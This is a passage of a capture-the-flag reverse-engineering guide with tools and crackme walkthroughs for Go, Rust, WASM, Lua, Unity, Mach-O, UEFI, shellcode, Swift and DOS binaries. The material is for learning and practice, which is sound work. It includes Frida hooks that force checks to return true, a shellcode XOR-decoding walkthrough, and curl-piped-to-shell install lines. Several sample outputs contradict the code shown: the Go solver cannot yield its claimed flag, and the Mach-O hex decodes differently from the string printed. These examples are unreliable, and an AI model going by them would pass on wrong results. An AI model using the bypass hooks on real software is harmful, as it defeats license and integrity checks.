(gdb) x/s $rdx            # Second string ptr
```

>> 16.4 CTF Walkthrough: Go Crackme

MEDIUM

Category: Go binary crackme | File type: ELF (statically linked Go)

[\\$ Go Binary Walkthrough](#)

```
# Step 1: Identify
$ file go_crackme
go_crackme: ELF 64-bit, statically linked
$ strings go_crackme | grep '\.go'
main/main.go -- source file path revealed!

# Step 2: Recover symbols with GoReSym
$ GoReSym go_crackme > syms.json
$ cat syms.json | python3 -c "
import json,sys
d=json.load(sys.stdin)
for f in d['UserFunctions']:
    print(hex(f['Start']), f['FullName'])"
0x4a1230 main.checkFlag
0x4a1890 main.main

# Step 3: Load in Ghidra with GoReSym script
# Apply symbol JSON -> functions renamed
# Decompile main.checkFlag -> shows XOR loop

# Step 4: Decompiled logic (simplified):
# key := []byte{0x13,0x37,0x42,0x69,...}
# for i,b := range input {
#     if b ^ key[i] != expected[i] { return false }
# }

# Step 5: Solve in Python
key      = [0x13,0x37,0x42,0x69,0x11,0x22,0x33,0x44]
expected = [0x76,0x5a,0x27,0x0a,0x75,0x47,0x56,0x25]
flag = ''.join(chr(k^e) for k,e in zip(key,expected))
print(flag) # -> flag{g0_r3v3rs3}
```

SECTION 17: RUST BINARY REVERSE ENGINEERING

Name mangling, ownership model, trait dispatch

>> 17.1 Why Rust Binaries Are Challenging

Rust binaries present unique RE challenges:

- * Aggressive name mangling (e.g. `_ZN4core3fmt5Write9write_fmt17h...`)
- * Monomorphization: generics expand into many identical-looking functions
- * No garbage collector, but complex memory ownership patterns
- * Panic handlers add noise to every function
- * LLVM optimization makes decompilation messy
- * Trait objects (dyn Trait) use vtable dispatch -- like C++ virtual functions

>> 17.2 Identification

```
$ file rust_challenge
rust_challenge: ELF 64-bit LSB pie executable, dynamically linked

$ strings rust_challenge | grep -i 'rust\|cargo\|panicked'
panicked at 'called Result::unwrap() on an Err value'
rust/library/core/src/...

$ nm rust_challenge | head -20
_ZN4core3fmt5Write9write_fmt17h... <- mangled Rust name

# Demangle Rust names:
$ nm rust_challenge | rustfilt
# or:
$ nm rust_challenge | c++filt # Sometimes works

$ diec rust_challenge
ELF64: linker: LLD(LLVM)(GNU ld compatible); compiler: Rust
```

rustfilt

Rust Name Demangler

Easy

<https://github.com/luser/rustfilt> (cargo install rustfilt)

Demangle Rust symbol names from mangled form to readable names.

```
$ cargo install rustfilt
$ nm rust_binary | rustfilt
$ objdump -d rust_binary | rustfilt
$ cat mangled_output.txt | rustfilt
```

Ghidra + Rust scripts

Rust Decompiler

Hard

<https://github.com/westdoorbell/GhidraRust> (Free plugin)

Ghidra script to demangle Rust names and improve decompilation output.

```
$ # Install GhidraRust plugin
$ # Script Manager -> Run 'RustDemangle.py'
$ # All _ZN... names become readable Rust paths
$ # Look for: impl blocks, trait methods, enum variants
```

>> 17.3 Rust RE Techniques

```
# Find main function in Rust binary:
```

```
# Rust entry is std::rt::lang_start -> calls your main

$ nm rust_binary | rustfilt | grep 'challenge::main'
00000000040a120 T challenge::main

# In GDB:
(gdb) b challenge::main
(gdb) r

# Rust string format: (&str = ptr + len, String = ptr+len+cap)
# To read a Rust &str at address:
(gdb) x/s *(long*)$rdi      # ptr
(gdb) p *(long*)($rdi+8)    # len

# Rust enums: tag in first bytes, data after
# Option<T>: 0 = None, 1 = Some(T)
# Result<T,E>: 0 = Ok(T), 1 = Err(E)

# Trait vtable: *const vtable_ptr at offset 8 of trait object
# In Ghidra: follow pointer -> list of function pointers
```

>> 17.4 CTF Walkthrough: Rust Crackme

HARD

Category: Rust binary with custom hash check | File type: ELF (Rust)

\$ Rust Binary Walkthrough

```
# Step 1: Identify and demangle
$ strings rust_crackme | grep panicked
panicked at src/main.rs:42 -- Rust source path!

$ nm rust_crackme | rustfilt | grep check
0x5678 T rust_crackme::check_password

# Step 2: Decompile check_password in Ghidra
# After GhidraRust plugin: readable function names
# Logic (simplified decompilation):
# let h = sha256(input);
# h == [0xab,0xcd,0xef,...,0x42] // 32-byte target hash

# Step 3: That means we need to find preimage of SHA256
# Check if it is a SHORT input -> brute force
import hashlib
target = bytes.fromhex('abcdef...42')
for i in range(10000000):
    candidate = f'flag{{{i}}}'
    if hashlib.sha256(candidate.encode()).digest() == target:
        print(candidate); break

# OR: use hashcat if it looks like a known format
$ hashcat -m 1400 hash.txt wordlist.txt
flag{r4st_1s_m3m0ry_s4f3}
```

SECTION 18: WEBASSEMBLY (WASM) REVERSE ENGINEERING

Browser-based, stack machine, binary format

>> 18.1 WASM Overview

WebAssembly is a stack-based binary format for running code in browsers/servers.

CTF challenges use WASM because:

- * Runs in browser -- only JS source visible, not WASM internals
- * Cross-platform compiled C/C++/Rust/Go code
- * Flag check logic hidden inside .wasm module
- * Custom file format -- not ELF/PE

Key concepts:

- * Sections: type, import, function, table, memory, export, code, data
- * Functions use local variables (no registers)
- * Memory is flat linear -- mem[i32] access
- * Host JS controls imports/exports

>> 18.2 Identification

```
$ file challenge.wasm
challenge.wasm: WebAssembly (wasm) binary module version 0x1

$ xxd challenge.wasm | head -3
00000000: 0061 736d 0100 0000 ... <- magic: 0x0061736d ('\0asm')

$ strings challenge.wasm | grep -i 'flag\|check\|export'
checkFlag
verify_password

# Browser: open DevTools -> Sources -> .wasm file
# Chrome: DevTools auto-disassembles WASM to WAT text format
```

wabt (WebAssembly Binary Toolkit)

WASM Tools

Easy

<https://github.com/WebAssembly/wabt> (Free & Open Source)

THE WASM toolkit: convert wasm<->wat, validate, inspect, run.

```
$ # Install: sudo apt install wabt OR download from GitHub
$ wasm2wat challenge.wasm -o challenge.wat # Binary -> text
$ wat2wasm challenge.wat -o output.wasm    # Text -> binary
$ wasm-objdump -x challenge.wasm           # Headers/sections
$ wasm-objdump -d challenge.wasm           # Disassemble
$ wasm-objdump -x -j Export challenge.wasm # Only exports
$ wasm-validate challenge.wasm             # Validate
$ wasm-interp challenge.wasm --run-all-exports
```

wasm-decompile (in wabt)

WASM Decompiler

Easy

<https://github.com/WebAssembly/wabt>

Decompile WASM to a C-like pseudocode. Much more readable than WAT.

```
$ wasm-decompile challenge.wasm -o challenge.dcmp
$ cat challenge.dcmp # C-like pseudocode output
```

Ghidra WASM Plugin

WASM Decompiler (Full)

Medium

<https://github.com/garrettgu10/ghidra-wasm-plugin> (Free)

Full Ghidra support for WASM. Decompile to C, cross-references, data analysis.

```
$ # Install: Ghidra -> File -> Install Extensions -> select .zip
$ # Open .wasm file -> Ghidra decompiles to readable C
$ # Functions appear with proper names if exported
$ # Memory accesses shown as mem[offset]
```

wasmer / wasmtime

WASM Runtime (CLI)

Easy

<https://wasmer.io> | <https://wasmtime.dev> (Free)

Run WASM files directly from CLI. Test your understanding of the binary.

```
$ # Install wasmer:
$ curl https://get.wasmer.io -sSfL | sh
$ wasmer run challenge.wasm           # Run
$ wasmer run challenge.wasm -- arg1   # With args
$ # Install wasmtime:
$ curl https://wasmtime.dev/install.sh -sSf | bash
$ wasmtime run challenge.wasm
```

>> 18.3 CTF Walkthrough: WASM Flag Checker

MEDIUM

Category: Browser WASM challenge | File type: .wasm module

\$ WASM CTF Walkthrough

```

# Step 1: Find the .wasm file
# Open browser DevTools -> Network tab -> filter by 'wasm'
# Right-click -> Save As -> challenge.wasm

# Step 2: Convert to readable WAT format
$ wasm2wat challenge.wasm -o challenge.wat
$ wasm-decompile challenge.wasm -o challenge.dcmp

# Step 3: Read the decompiled output
$ cat challenge.dcmp | grep -A30 'checkFlag'
# Decompiled C-like output:
export function checkFlag(a:int, b:int):int {
    var c:int = 0;
    loop L {
        if (c >= 24) return 1;          // length check
        var d:int = load<ubyte>(a+c); // input[c]
        var e:int = load<ubyte>(1024+c); // key[c]
        if ((d ^ e) != load<ubyte>(2048+c)) return 0; // XOR check
        c = c + 1;
        continue L;
    }
}

# Step 4: Extract key and expected arrays from WASM data section
$ wasm-objdump -x -j Data challenge.wasm
# Shows data segments at memory offsets 1024 and 2048

$ python3 << 'EOF'
import struct
data = open('challenge.wasm','rb').read()
# Find data section (0x0b) and extract bytes at offsets
key      = list(data[0x3200:0x3218]) # actual offsets from objdump
expected = list(data[0x3300:0x3318])
flag = ''.join(chr(k^e) for k,e in zip(key,expected))
print(flag) # -> flag{w4sm_1s_n0t_s3cur3}
EOF

```


SECTION 19: LUA BYTECODE REVERSE ENGINEERING

Game mods, embedded scripts, custom VMs

>> 19.1 Lua Overview

Lua bytecode appears in CTFs from:

- * Game RE challenges (Unity Lua scripts, WoW addons, Roblox)
- * Embedded device firmware using Lua scripting
- * Custom CTF challenges with Lua flag checks

Key: Lua compiles to bytecode (.luac) which has version-specific format.

Lua versions: 5.1 (most common in games), 5.2, 5.3, 5.4

Luajit: different format -- needs different tools

>> 19.2 Identification

```
$ file challenge.luac
challenge.luac: Lua bytecode, version 5.1

$ xxd challenge.luac | head -2
00000000: 1b4c 7561 5100 ...  <- magic: 0x1b4c7561 (ESC 'L' 'u' 'a')
                                byte 4: version (0x51=5.1, 0x52=5.2, 0x53=5.3)

$ strings challenge.luac
# Lua strings show function names, variable names
checkFlag
flag{
```

unluac

Lua 5.1-5.4 Decompiler

Easy

<https://github.com/HansWessels/unluac> (Free & Open Source)

Best Lua decompiler. Recovers source code from .luac bytecode.

```
$ # Download unluac.jar
$ java -jar unluac.jar challenge.luac
$ java -jar unluac.jar challenge.luac > challenge.lua
$ # Works for Lua 5.1 - 5.4
```

luadec

Lua Decompiler (Alt)

Easy

<https://github.com/viruscamp/luadec> (Free)

Alternative Lua decompiler. Good for Lua 5.1/5.2.

```
$ git clone https://github.com/viruscamp/luadec
$ cd luadec && make
$ ./luadec challenge.luac
```

ChunkSpy / luac-parser

Lua Bytecode Inspector

Medium

<https://github.com/pkulchenko/MobDebug> (various)

Inspect raw Lua bytecode instructions without decompiling.

```
$ lua ChunkSpy.lua challenge.luac      # Disassemble to opcodes
$ # Shows: OP_LOADK, OP_GETTABLE, OP_CALL etc.
$ # Use when decompiler fails
```

>> 19.3 CTF Walkthrough: Lua Flag Check

EASY

Category: Lua game script RE | File type: .luac (Lua 5.1 bytecode)

\$ Lua CTF Walkthrough

```
# Step 1: Identify
$ xxd flag_check.luac | head -1
1b4c 7561 51 ... -> Lua 5.1 bytecode confirmed

# Step 2: Decompile
$ java -jar unluac.jar flag_check.luac
-- Decompiled Lua source:
local function checkFlag(input)
    local key = {102,108,97,103,123,108,117,97,95,114,101,118,125}
    if #input ~= #key then return false end
    for i=1,#key do
        if string.byte(input,i) ~= key[i] then return false end
    end
    return true
end

# Step 3: Decode the key array directly!
key = [102,108,97,103,123,108,117,97,95,114,101,118,125]
print(''.join(chr(x) for x in key))
# -> flag{lua_rev}
```

SECTION 20: UNITY IL2CPP & GAME REVERSE ENGINEERING

IL2CPP, Mono, game binary analysis

>> 20.1 Unity Build Types

Unity games have TWO scripting backends:

MONO: C# -> IL bytecode (.dll assemblies) -> easy to decompile with dnSpy

IL2CPP: C# -> C++ -> native binary -> HARD to reverse

For CTF, IL2CPP is the common challenge type.

Key files in an IL2CPP Unity game:

- * GameAssembly.dll -- the main IL2CPP compiled native binary
- * global-metadata.dat -- type/method name database (CRITICAL for RE)
- * libil2cpp.so (Android) / UnityPlayer.dll (Windows)

>> 20.2 Tools

Il2CppDumper

IL2CPP Metadata Dumper

Medium

<https://github.com/Perfare/Il2CppDumper> (Free & Open Source)

Recovers all class/method/field names from IL2CPP binaries using global-metadata.dat.

```
$ # Download Il2CppDumper
$ Il2CppDumper.exe GameAssembly.dll global-metadata.dat output/
$ # OR Linux:
$ dotnet Il2CppDumper.dll GameAssembly.dll global-metadata.dat output/
$ # Output: dump.cs (all class definitions), script.json, stringliteral.json
$ # Load script.json into IDA/Ghidra to rename all functions!
```

Il2CppInspector

IL2CPP Analysis Suite

Hard

<https://github.com/djkaty/Il2CppInspector> (Free)

More advanced than Il2CppDumper. Generates IDA/Ghidra scripts, C++ scaffolding.

```
$ Il2CppInspector -i GameAssembly.dll -m global-metadata.dat
$ # Generates: IDA script, Ghidra script, C++ type headers
$ # Run generated script in IDA/Ghidra to rename everything
```

dnSpy (for Mono Unity)

.NET/Mono Decompiler

Easy

<https://github.com/dnSpyEx/dnSpy> (Free)

For Mono Unity games: directly decompile Assembly-CSharp.dll with dnSpy.

```
$ # Find: GameName_Data/Managed/Assembly-CSharp.dll
$ dnSpy.exe Assembly-CSharp.dll
$ # Instantly see all C# game code!
$ # Set breakpoints, patch methods, modify flag checks live
```

Frida + IL2CPP

Runtime Game Hooking

Hard

<https://github.com/frida/frida> + [il2cpp-frida scripts](#)

Hook IL2CPP methods at runtime using Frida. Works on Android/Windows Unity games.

```
$ # Use Il2CppDumper to get method offsets first
$ # Then hook with Frida:
$ var base = Module.getBaseAddress('GameAssembly.dll');
$ var checkFlagOffset = 0x1A2B3C; // from dump.cs
$ Interceptor.attach(base.add(checkFlagOffset), {
$   onEnter(args) { console.log('Input:', args[1].readUtf16String()); },
$   onLeave(ret) { ret.replace(1); } // Force return true!
$ });
```

>> 20.3 CTF Walkthrough: Unity IL2CPP Flag Checker

HARD

Category: Unity game reverse engineering | File type: GameAssembly.dll + global-metadata.dat

\$ Unity IL2CPP CTF

```
# Step 1: Locate key files
# Windows game: GameName/GameName_Data/Native/GameAssembly.dll
#               GameName/GameName_Data/Resources/global-metadata.dat

# Step 2: Run Il2CppDumper
$ Il2CppDumper.exe GameAssembly.dll global-metadata.dat ./output
Initializing metadata...
Analyzing: GameAssembly.dll
Saved: dump.cs, script.py, stringliteral.json

# Step 3: Search dump.cs for flag-related methods
$ grep -i 'flag\|check\|verify' output/dump.cs
// Offset: 0x2A4F80
public bool CheckFlag(string userInput) { }

# Step 4: Load GameAssembly.dll in Ghidra
# Run output/script.py in Ghidra -> renames all functions!
# Now find CheckFlag at 0x2A4F80

# Step 5: Decompiled logic shows XOR with hardcoded key
# Extract key from stringliteral.json:
$ grep -i 'key\|secret' output/stringliteral.json
{"value": "g4m3_s3cr3t_k3y", "offset": 123}

# Step 6: Alternative -- Frida to force return true
var base = Module.getBaseAddress('GameAssembly.dll');
Interceptor.attach(base.add(0x2A4F80), {
  onLeave(ret) { ret.replace(1); }
});
# Enter any password -> game says correct -> flag shown!
# flag{1l2cpp_g4m3_h4ck3d}
```

SECTION 21: MACH-O (macOS / iOS) REVERSE ENGINEERING

Apple binary format, otool, lldb, class-dump

>> 21.1 Mach-O Overview

Mach-O is Apple's binary format (macOS, iOS, iPadOS, watchOS).

Key differences from ELF:

- * Segments (__TEXT, __DATA, __LINKEDIT) not sections as primary unit
- * Fat/Universal binaries contain multiple architectures in ONE file
- * Objective-C and Swift classes have special metadata sections
- * Code signing required on iOS (bypass needed for RE)
- * dyld shared cache: system libraries combined into one file

Common file extensions: (no extension), .dylib, .framework, .app

>> 21.2 Identification & Basic Analysis

```
$ file challenge
challenge: Mach-O 64-bit executable x86_64

$ file universal_binary
universal_binary: Mach-O universal binary with 2 architectures:
  x86_64: Mach-O 64-bit executable
  arm64:  Mach-O 64-bit executable

# List architectures in fat binary:
$ lipo -info universal_binary
Architectures in the fat file: x86_64 arm64

# Extract one arch:
$ lipo -extract x86_64 universal_binary -output binary_x86

# otool -- Mach-O equivalent of objdump/readelf:
$ otool -h binary          # Mach-O header
$ otool -l binary          # Load commands (like ELF program headers)
$ otool -L binary          # Linked libraries (like ldd)
$ otool -d binary          # Data section dump
$ otool -t -v binary       # Disassemble text section
$ otool -tv binary | grep -i flag

# nm on Mach-O:
$ nm -g binary             # Global symbols
$ nm -U binary             # Only defined symbols
```

Hopper Disassembler

Disassembler/Decompiler

All

<https://hopperapp.com> (Trial free, \$99 full)

THE macOS/iOS RE tool. Excellent decompiler, Objective-C class parsing.

```
$ hopper -e binary          # Open binary
$ hopper -d binary          # Decompile mode
$ # Hopper detects ObjC/Swift methods automatically
$ # Shows: [ClassName methodName:] calls directly
```

jtool2

Mach-O Swiss Army Knife

Medium

<https://www.newosxbook.com/tools/jtool.html> (Free)

Comprehensive Mach-O analysis tool for macOS/iOS. Like readelf+objdump+nm combined.

```
$ jtool2 --arch arm64 binary      # Specify arch in fat binary
$ jtool2 -l binary                # Load commands
$ jtool2 -d binary                # Disassemble
$ jtool2 -S binary                # Symbols
$ jtool2 --sig binary             # Code signature
$ jtool2 -e extract binary        # Extract sections
```

class-dump

ObjC Class Dumper

Easy

<https://github.com/nygard/class-dump> (Free)

Extract Objective-C class interfaces from Mach-O binaries. Essential for iOS RE.

```
$ class-dump binary              # Dump all ObjC interfaces
$ class-dump -H binary -o headers/ # Save as .h files
$ class-dump-swift binary         # For Swift binaries
```

lldb (Apple Debugger)

Debugger

All

Built into Xcode (free on macOS)

Primary debugger for macOS/iOS. Use for both native and ObjC/Swift apps.

```
$ lldb ./binary
$ b main; r
$ b -n '-[ClassName checkFlag:]' # ObjC method breakpoint
$ p (NSString*)$x0               # Print ObjC string (arm64)
$ memory read -fx $x0            # Hex dump at x0
$ disassemble -n '-[App verify:]' # Disassemble method
$ po $x0                         # Print ObjC object
$ expr (int)strcmp($x0, $x1)     # Evaluate expression
```

>> 21.3 CTF Walkthrough: macOS Crackme

MEDIUM

Category: macOS Mach-O crackme | File type: Mach-O 64-bit executable

\$ Mach-O CTF Walkthrough

```
# Step 1: Basic recon
$ file macho_crackme
Mach-O 64-bit executable x86_64
$ otool -L macho_crackme
/usr/lib/libSystem.B.dylib      <- only libSystem, simple binary

# Step 2: Check symbols
$ nm -g macho_crackme | grep -v '^ *U'
000000001000013a0 T _checkPassword
000000001000012c0 T _main

# Step 3: Disassemble with otool
$ otool -t -v macho_crackme | grep -A40 '_checkPassword:'
# Shows: strcmp with hardcoded string
# leaq 0x123(%rip), %rsi  -> points to string constant

# Step 4: Extract the string
$ otool -s __TEXT __cstring macho_crackme
Contents of (__TEXT,__cstring) section:
00000000100002000 4d61 634f 5f72 3376 3372 7333 0000
$ python3 -c "print(bytes.fromhex('4d61634f5f72337633727333').decode())"
Mac0_r3v3rs3

# Step 5: Test
$ ./macho_crackme
Enter password: Mac0_r3v3rs3
flag{Mac0_r3v3rs3_1s_fun}
```

SECTION 22: UEFI / BIOS FIRMWARE REVERSE ENGINEERING

Pre-boot code, DXE drivers, UEFI modules

>> 22.1 UEFI Overview

UEFI firmware is the modern replacement for BIOS. CTF challenges use UEFI when:

- * Flag is verified before OS boots (hardware-level CTF)
- * Custom UEFI app runs the challenge
- * Firmware analysis challenge (router BIOS, laptop UEFI)

Key format: UEFI Firmware Volume (FV) contains DXE/PEI modules

File types: .rom, .bin, .fd (UEFI firmware), .efi (UEFI PE executables)

Each UEFI module is a PE32+ executable with GUID identification.

>> 22.2 Tools

UEFITool

UEFI Firmware Parser

Medium

<https://github.com/LongSoft/UEFITool> (Free & Open Source)

Parse, extract, and modify UEFI firmware images. Find and extract .efi modules.

```
$ # GUI: Open firmware.rom -> tree view of all modules
$ # Right-click module -> Extract as-is / Extract body
$ # Search: Action -> Search -> text/GUID/hex pattern
$ # CLI version: UEFIEExtract firmware.rom all
$ UEFIEExtract firmware.rom all # Extract all modules to ./firmware.rom.dump/
```

efiXplorer (IDA/Ghidra plugin)

UEFI Analysis

Hard

<https://github.com/binarly-io/efiXplorer> (Free & Open Source)

Auto-analyze UEFI modules: identify protocols, GUIDs, boot services calls.

```
$ # IDA: Install efiXplorer plugin, open .efi file
$ # Auto-runs: marks gBS (Boot Services), gRT (Runtime Services)
$ # Identifies: InstallProtocol, LocateProtocol, HandleProtocol calls
$ # In Ghidra: efiSeek plugin provides similar functionality
```

UEFI-Firmware-Parser (Python)

Firmware Extractor

Medium

<https://github.com/theopolis/uefi-firmware-parser> (pip install uefi-firmware-parser)

Python library to parse and extract UEFI firmware volumes.

```
$ pip install uefi-firmware-parser
$ python3 -m uefi_firmware.show_guids firmware.rom
$ python3 -m uefi_firmware.uefi -e firmware.rom -O output/
$ # Extracts all .efi modules to output directory
```

>> 22.3 CTF Walkthrough: UEFI Flag Challenge

HARD

Category: UEFI firmware RE | File type: .efi (UEFI PE executable)

\$ UEFI CTF Walkthrough


```
# Scenario: boot a QEMU VM with custom UEFI -> enter password -> get flag
# You are given: challenge.efi (UEFI application)

# Step 1: Identify
$ file challenge.efi
challenge.efi: PE32+ executable (EFI application) x86-64

# Step 2: Open in Ghidra (it's a PE file!)
# Set base address: UEFI apps typically load at 0x10000000
# Install efiXplorer plugin -> auto-analysis

# Step 3: Find main entry (UefiMain or efi_main):
# efiXplorer renames: gBS->ConOut->OutputString calls
# Find: gBS->ConIn->ReadKeyStroke for input reading

# Step 4: Decompiled logic (simplified):
# UefiMain() {
#   Print('Enter password: ');
#   ReadInput(buffer, 32);
#   if (CheckPassword(buffer)) Print('flag{...}');
# }

# Step 5: Analyze CheckPassword
# Uses CompareMem (UEFI equivalent of memcmp)
# Target hash or XOR key extracted from .data section

# Step 6: Run in QEMU for testing
$ qemu-system-x86_64 -bios OVMF.fd -drive format=raw,file=fat:rw:./esp/
# Copy challenge.efi to esp/EFI/BOOT/BOOTX64.EFI
# UEFI shell -> run challenge.efi
```

SECTION 23: SHELLCODE ANALYSIS

Raw x86/x64/ARM shellcode, position-independent code

>> 23.1 What is Shellcode?

Shellcode = raw machine code bytes, NOT a complete binary.

- * No PE/ELF headers
- * Position-independent (uses relative addressing)
- * Often obfuscated/encoded (XOR, ROT, base64)
- * Self-decrypting stubs common

In CTFs: shellcode RE appears as:

- * Raw .bin file of shellcode bytes
- * Hex string to decode
- * Shellcode injected into process (find it in memory dump)
- * Custom shellcode VM challenge

>> 23.2 Tools

scdbg

Shellcode Debugger/Emulator

Easy

<http://sandsprite.com/blogs/index.php?uid=7&id=152> (Free)

Emulate x86 shellcode execution. Shows API calls, strings, behavior.

```
$ scdbg.exe /f shellcode.bin # Windows: emulate
$ scdbg.exe /f shellcode.bin /s 200 # 200 steps
$ scdbg.exe /f shellcode.bin /findsc # Find shellcode in file
$ scdbg.exe /f shellcode.bin /d # Dump strings
$ # On Linux: wine scdbg.exe /f shellcode.bin
```

Speakeasy (Microsoft)

Shellcode/PE Emulator

Medium

<https://github.com/mandiant/speakeasy> (Free - Mandiant)

Full Windows API emulator for shellcode and PE analysis. Python-based.

```
$ pip install speakeasy-emulator
$ python3 -m speakeasy -t shellcode.bin -r -a x64
$ python3 -m speakeasy -t shellcode.bin -r -a x86 # 32-bit
$ # Shows all API calls, strings, network activity
$ # Output: full execution trace
```

libemu / sc-make

Shellcode Emulator

Medium

<https://github.com/buffer/libemu> (Free)

x86 shellcode emulator library. Detects GetPC techniques, API calls.

```
$ sudo apt install libemu2 libemu-dev
$ sctest -vvv -S -s 1000 < shellcode.bin
$ # Renders shellcode execution graph
$ cat shellcode.bin | sctest -vvv -S -s 10000 -G graph.dot
$ dot -Tpng graph.dot -o graph.png
```

<https://github.com/Gallopsled/pwntools>

Assemble, disassemble, and analyze shellcode with pwntools.

```
$ from pwn import *
$ context.arch = 'amd64'
$ # Disassemble raw bytes:
$ print(disasm(open('shellcode.bin','rb').read()))
$ # Assemble shellcode:
$ sc = asm('xor rax,rax; push rax; ...')
$ # Run shellcode:
$ run_shellcode(sc)
```

>> 23.3 CTF Walkthrough: Obfuscated Shellcode

HARD

Category: Shellcode RE | File type: Raw binary shellcode + XOR obfuscation

\$ Shellcode CTF Walkthrough

```
# Given: shellcode.bin -- a raw x64 shellcode file

# Step 1: Basic analysis
$ xxd shellcode.bin | head -20
00000000: eb0e 5e83 c614 31c0 b012 ... <- jmp/call/pop pattern

# Step 2: Disassemble with pwntools
from pwn import *
context.arch = 'amd64'
data = open('shellcode.bin','rb').read()
print(disasm(data[:64]))
# 0x0: jmp 0x10          <- jump over key
# 0x2: pop rsi           <- GetPC technique
# 0x3: xor byte [rsi+0x14], 0x42 <- XOR decode loop

# Step 3: Identify XOR key from decoder stub
# Key = 0x42, length = 0x28
key = 0x42
encoded = data[0x14:] # after decoder stub
decoded = bytes(b ^ key for b in encoded[:0x28])
print(disasm(decoded)) # Now readable shellcode

# Step 4: Decoded shellcode shows:
# mov rdi, 0x7b67616c66 (little-endian 'flag{')
# ... builds flag string on stack ...
# -> flag{sh3llc0d3_r3v3rs3d}

# Step 5: Alternatively, use Speakeasy to auto-execute
$ python3 -m speakeasy -t shellcode.bin -r -a x64
# Output shows all strings written to memory
```

SECTION 24: SWIFT BINARY REVERSE ENGINEERING

iOS/macOS Swift apps, name mangling, ARC

>> 24.1 Swift Overview

Swift binaries are common in iOS/macOS CTFs.

Key challenges:

- * Aggressive name mangling (even harder than Rust)
- * ARC (Automatic Reference Counting) adds retain/release noise
- * Protocol witness tables (like vtables for protocols)
- * Optionals add nil-check branches everywhere
- * Swift runtime functions: `swift_retain`, `swift_release`, `swift_allocObject`
- * Swift strings: different from C strings (UTF-8 with inline storage)

```
# Identify Swift binary:
$ nm binary | grep swift
_swift_retain, _swift_release, _swift_allocObject

$ strings binary | grep -i swift
Swift version 5.9.0

# Demangle Swift names:
$ swift demangle '_T0s5printySayypGdF'
Swift.print([Any]...)

# Or use xcrun:
$ xcrun swift-demangle '$_s4main5checkySbSSF'
main.check(Swift.String) -> Swift.Bool

# nm with Swift demangle:
$ nm binary | swift demangle
```

class-dump-swift

Swift Class Dumper

Medium

<https://github.com/MachX/class-dump-swift> (Free)

Extract Swift class/struct/enum definitions from binaries.

```
$ class-dump-swift binary          # Dump all Swift types
$ class-dump-swift -H binary -o headers/
```

Frida + Swift

Swift Runtime Hooking

Hard

<https://frida.re> + `frida-swift-bridge`

Hook Swift methods at runtime using Frida.

```
$ # Install frida-swift-bridge:
$ pip install frida-swift-bridge
$ # In Frida script:
$ const swiftBridge = require('frida-swift-bridge');
$ const MyClass = swiftBridge.use('ModuleName.ClassName');
$ MyClass.checkFlag.implementation = function(input) {
$   console.log('Input:', input);
$   return true; // Force return true
$ };
```

>> 24.2 CTF Walkthrough: Swift iOS App RE

Category: iOS Swift app | File type: Mach-O ARM64 (Swift)

\$ Swift CTF Walkthrough

```
# Step 1: Extract IPA
$ unzip app.ipa
$ cd Payload/App.app/
$ file App
Mach-O 64-bit executable arm64

# Step 2: Find Swift methods
$ nm App | swift demangle | grep -i 'check\|flag\|verify'
main.FlagViewController.checkInput(Swift.String) -> Swift.Bool

# Step 3: Disassemble with Hopper or Ghidra
# After demangling: find checkInput function
# Logic: Swift String comparison with hardcoded value

# Step 4: Extract hardcoded string
$ strings App | grep -E '[A-Za-z0-9_]{8,}$'
# Or: use Ghidra to find Swift string literal in __TEXT.__const

# Step 5: Frida to hook and log comparison
var base = Module.getBaseAddress('App');
// Address from nm output
Interceptor.attach(base.add(0x12345), {
  onEnter(args) {
    // Swift strings: ptr at args[0], length at args[1]
    var len = args[1].toInt32();
    var str = Memory.readUtf8String(args[0], len);
    console.log('Comparing with:', str);
  }
});
# -> Comparing with: Sw1ft_1s_4ls0_r3v3rs1bl3
# -> flag{Sw1ft_1s_4ls0_r3v3rs1bl3}
```

SECTION 25: 16-BIT DOS REVERSE ENGINEERING

Retro CTFs, .COM and .EXE DOS executables

>> 25.1 DOS Overview

16-bit DOS RE appears in retro/nostalgic CTFs.

Two DOS executable formats:

.COM files: Flat binary, max 64KB, loads at CS:0100h, extremely simple

.EXE files: Has header (MZ signature), supports segments, can be larger

Key differences from modern RE:

- * 16-bit real mode: segment:offset addressing (CS:IP, DS:SI, ES:DI)
- * Segments are 64KB paragraphs
- * INT 21h = DOS system calls (like Linux int 0x80)
- * Only 8086 instructions (16-bit subset)
- * Registers: AX, BX, CX, DX, SI, DI, SP, BP, CS, DS, ES, SS

>> 25.2 Identification

```
$ file dos_challenge.com
dos_challenge.com: COM executable for DOS

$ file dos_challenge.exe
dos_challenge.exe: MS-DOS executable

$ xxd dos_challenge.exe | head -2
00000000: 4d5a ...  <- MZ signature (Mark Zbikowski)

$ xxd dos_challenge.com | head -2
00000000: b409 ba10 01cd 21 ...  <- raw x86 code from offset 0
```

DOSBox

DOS Emulator

Easy

<https://dosbox.com> (Free & Open Source)

Run DOS binaries in emulated environment. Mount local directory as C drive.

```
$ # Install: sudo apt install dosbox
$ dosbox                                # Launch DOSBox
$ # Inside DOSBox:
$ MOUNT C /path/to/challenge
$ C:
$ challenge.com                        # Run .COM file
$ challenge.exe                        # Run .EXE file
```

IDA Pro (16-bit mode)

16-bit Disassembler

Medium

<https://hex-rays.com/ida-free>

IDA handles 16-bit DOS executables. Set processor to 8086, 16-bit mode.

```
$ # Open .com or .exe in IDA
$ # Processor type: 8086
$ # ROM start: 0x100 for .COM (PSP at 0x000)
$ # IDA auto-detects MZ .EXE format
$ # Look for: INT 21h calls for I/O
```

Ghidra (16-bit x86)

16-bit Decompiler

Medium

<https://ghidra-sre.org>

Ghidra supports 16-bit x86. Select x86:LE:16:Real Mode language.

```
$ # File -> Import -> Select .com file
$ # Language: x86 -> LE -> 16 -> Real Mode
$ # Base address: 0x10000 (segment 0x1000, offset 0)
$ # Entry point .COM: 0x10100
```

>> 25.3 DOS INT 21h Cheatsheet

```
DOS INT 21h system calls (mov AH, function; int 21h):
AH=01h  Read character from stdin (result in AL)
AH=02h  Write character (DL) to stdout
AH=09h  Print string (DS:DX -> '$'-terminated string)
AH=0Ah  Buffered keyboard input (DS:DX -> buffer)
AH=3Ch  Create file
AH=3Dh  Open file
AH=3Fh  Read file
AH=4Ch  Terminate with exit code (AL)
```

Example .COM read and compare:

```
mov ah, 0ah
mov dx, buffer
int 21h          ; Read input
mov si, buffer+2 ; Point to input
mov di, password ; Point to expected
mov cx, 8
rep cmpsb        ; Compare 8 bytes
je correct
```

>> 25.4 CTF Walkthrough: DOS .COM Crackme

EASY

Category: Retro DOS RE | File type: .COM 16-bit DOS executable

\$ [DOS CTF Walkthrough](#)

```
# Step 1: Identify
$ file retro.com
retro.com: COM executable for DOS

# Step 2: Quick strings
